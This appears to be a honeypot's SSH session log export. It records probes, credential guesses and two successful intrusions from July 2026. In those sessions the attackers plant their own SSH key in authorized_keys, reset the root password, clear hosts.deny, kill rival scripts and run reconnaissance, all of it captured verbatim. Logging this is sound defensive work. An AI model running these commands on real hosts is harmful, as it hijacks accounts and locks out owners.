  "tags": []
}
88.214.25.123
2026-07-09 18:22:56.838776 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e8fa09387182
Client Version: /*\xe0Cookie: mstshash=Administr
Engagement Duration: 0.0s
{
  "id": "e8fa09387182",
  "src_ip": "88.214.25.123",
  "start_time": "2026-07-09T18:22:56.838776Z",
  "end_time": "2026-07-09T18:22:56.844530Z",
  "duration": "0.0",
  "version": "\u0003\u0000\u0000/*\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=Administr",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
101.96.225.252
2026-07-09 18:22:34.807902 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 53942faffb6d
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 8.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "53942faffb6d",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:22:34.807902Z",
  "end_time": "2026-07-09T18:22:42.824421Z",
  "duration": "8.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
101.96.225.252
2026-07-09 18:21:15.757859 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d2afc695d938
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "d2afc695d938",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:21:15.757859Z",
  "end_time": "2026-07-09T18:23:15.782012Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
139.19.117.197
2026-07-09 18:20:14.193620 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (2 distinct queries). Vector identities: root

Record ID: 7d0c2fd5fbde
Client Version: SSH-2.0-Go
Engagement Duration: 10.0s
HASSH Fingerprint: f1e5e9d24e5e345e8745613bde22d532
{
  "id": "7d0c2fd5fbde",
  "src_ip": "139.19.117.197",
  "start_time": "2026-07-09T18:20:14.193620Z",
  "end_time": "2026-07-09T18:20:24.192713Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "f1e5e9d24e5e345e8745613bde22d532",
  "attempts": [
    {
      "user": "root",
      "pass": null
    },
    {
      "user": "root",
      "pass": null
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
101.96.225.252
2026-07-09 18:19:55.525030 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b78c58c9e03f
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "b78c58c9e03f",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:19:55.525030Z",
  "end_time": "2026-07-09T18:21:55.569371Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
34.229.166.45
2026-07-09 18:18:55.312616 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2975a90dc62d
Client Version: SSH-2.0-Go
Engagement Duration: 0.2s
HASSH Fingerprint: 9052c4ab4164c78256e71143dcfc7eac
{
  "id": "2975a90dc62d",
  "src_ip": "34.229.166.45",
  "start_time": "2026-07-09T18:18:55.312616Z",
  "end_time": "2026-07-09T18:18:55.510443Z",
  "duration": "0.2",
  "version": "SSH-2.0-Go",
  "hassh": "9052c4ab4164c78256e71143dcfc7eac",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
101.96.225.252
2026-07-09 18:18:34.103723 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7330f8bafe00
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "7330f8bafe00",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:18:34.103723Z",
  "end_time": "2026-07-09T18:20:34.118355Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:17:11.022562 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: add14ff2e02d
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "add14ff2e02d",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:17:11.022562Z",
  "end_time": "2026-07-09T18:19:11.042581Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:15:50.959028 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f0259e3f5503
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "f0259e3f5503",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:15:50.959028Z",
  "end_time": "2026-07-09T18:17:50.973324Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
103.203.57.11
2026-07-09 18:15:41.692614 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c8703c38966a
Client Version: Unknown
Engagement Duration: 0.1s
{
  "id": "c8703c38966a",
  "src_ip": "103.203.57.11",
  "start_time": "2026-07-09T18:15:41.692614Z",
  "end_time": "2026-07-09T18:15:41.754358Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
101.96.225.252
2026-07-09 18:14:27.673892 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 92f35ea4a58b
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "92f35ea4a58b",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:14:27.673892Z",
  "end_time": "2026-07-09T18:16:27.715353Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:13:05.808386 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: eea2dfaa088f
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "eea2dfaa088f",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:13:05.808386Z",
  "end_time": "2026-07-09T18:15:05.850702Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.75.9
2026-07-09 18:11:50.013969 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7a8a6ff17cee
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "7a8a6ff17cee",
  "src_ip": "14.103.75.9",
  "start_time": "2026-07-09T18:11:50.013969Z",
  "end_time": "2026-07-09T18:13:50.062071Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:10:26.899352 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 566c54a31af8
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "566c54a31af8",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:10:26.899352Z",
  "end_time": "2026-07-09T18:12:26.940444Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:09:17.425367 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0f1b4b7f2537
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 8.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "0f1b4b7f2537",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:09:17.425367Z",
  "end_time": "2026-07-09T18:09:25.441010Z",
  "duration": "8.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
101.96.225.252
2026-07-09 18:09:10.475566 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a88087b64559
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "a88087b64559",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:09:10.475566Z",
  "end_time": "2026-07-09T18:11:10.484769Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:09:05.094088 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 340

Credential acceptance event recorded. Target authentication: root / 235689

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:fVZjlhxhmXCE"|chpasswd|bash
[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: 0d1210f1b22c
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 41.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "0d1210f1b22c",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:09:05.094088Z",
  "end_time": "2026-07-09T18:09:46.339873Z",
  "duration": "41.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "235689"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:fVZjlhxhmXCE\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:fVZjlhxhmXCE\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
101.96.225.252
2026-07-09 18:07:41.232729 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 05589a617251
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "05589a617251",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:07:41.232729Z",
  "end_time": "2026-07-09T18:09:41.237210Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
192.168.0.1
2026-07-09 18:06:45.020082 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2dcfac1975da
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "2dcfac1975da",
  "src_ip": "192.168.0.1",
  "start_time": "2026-07-09T18:06:45.020082Z",
  "end_time": "2026-07-09T18:06:45.031953Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
101.96.225.252
2026-07-09 18:06:20.261178 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: edcf61f332f1
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "edcf61f332f1",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:06:20.261178Z",
  "end_time": "2026-07-09T18:08:20.297043Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:04:58.188867 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2c27ab8e5004
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "2c27ab8e5004",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:04:58.188867Z",
  "end_time": "2026-07-09T18:06:58.207073Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
101.96.225.252
2026-07-09 18:03:39.346900 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fcc2378c9497
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "fcc2378c9497",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:03:39.346900Z",
  "end_time": "2026-07-09T18:05:39.353068Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
161.132.206.148
2026-07-09 18:03:00.034016 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: ubuntu / 3245gs5662d34

Record ID: 1fc770958825
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 0.7s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "1fc770958825",
  "src_ip": "161.132.206.148",
  "start_time": "2026-07-09T18:03:00.034016Z",
  "end_time": "2026-07-09T18:03:00.753559Z",
  "duration": "0.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
161.132.206.148
2026-07-09 18:02:58.210711 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: c456db7fe22d
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.7s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "c456db7fe22d",
  "src_ip": "161.132.206.148",
  "start_time": "2026-07-09T18:02:58.210711Z",
  "end_time": "2026-07-09T18:02:59.923989Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
161.132.206.148
2026-07-09 18:02:56.500869 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: ubuntu / qwe123!@#

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 8c0b33bf898f
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 4.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "8c0b33bf898f",
  "src_ip": "161.132.206.148",
  "start_time": "2026-07-09T18:02:56.500869Z",
  "end_time": "2026-07-09T18:03:00.749823Z",
  "duration": "4.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "qwe123!@#"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
101.96.225.252
2026-07-09 18:02:19.238002 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ef3a2029af4f
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "ef3a2029af4f",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:02:19.238002Z",
  "end_time": "2026-07-09T18:04:19.264174Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}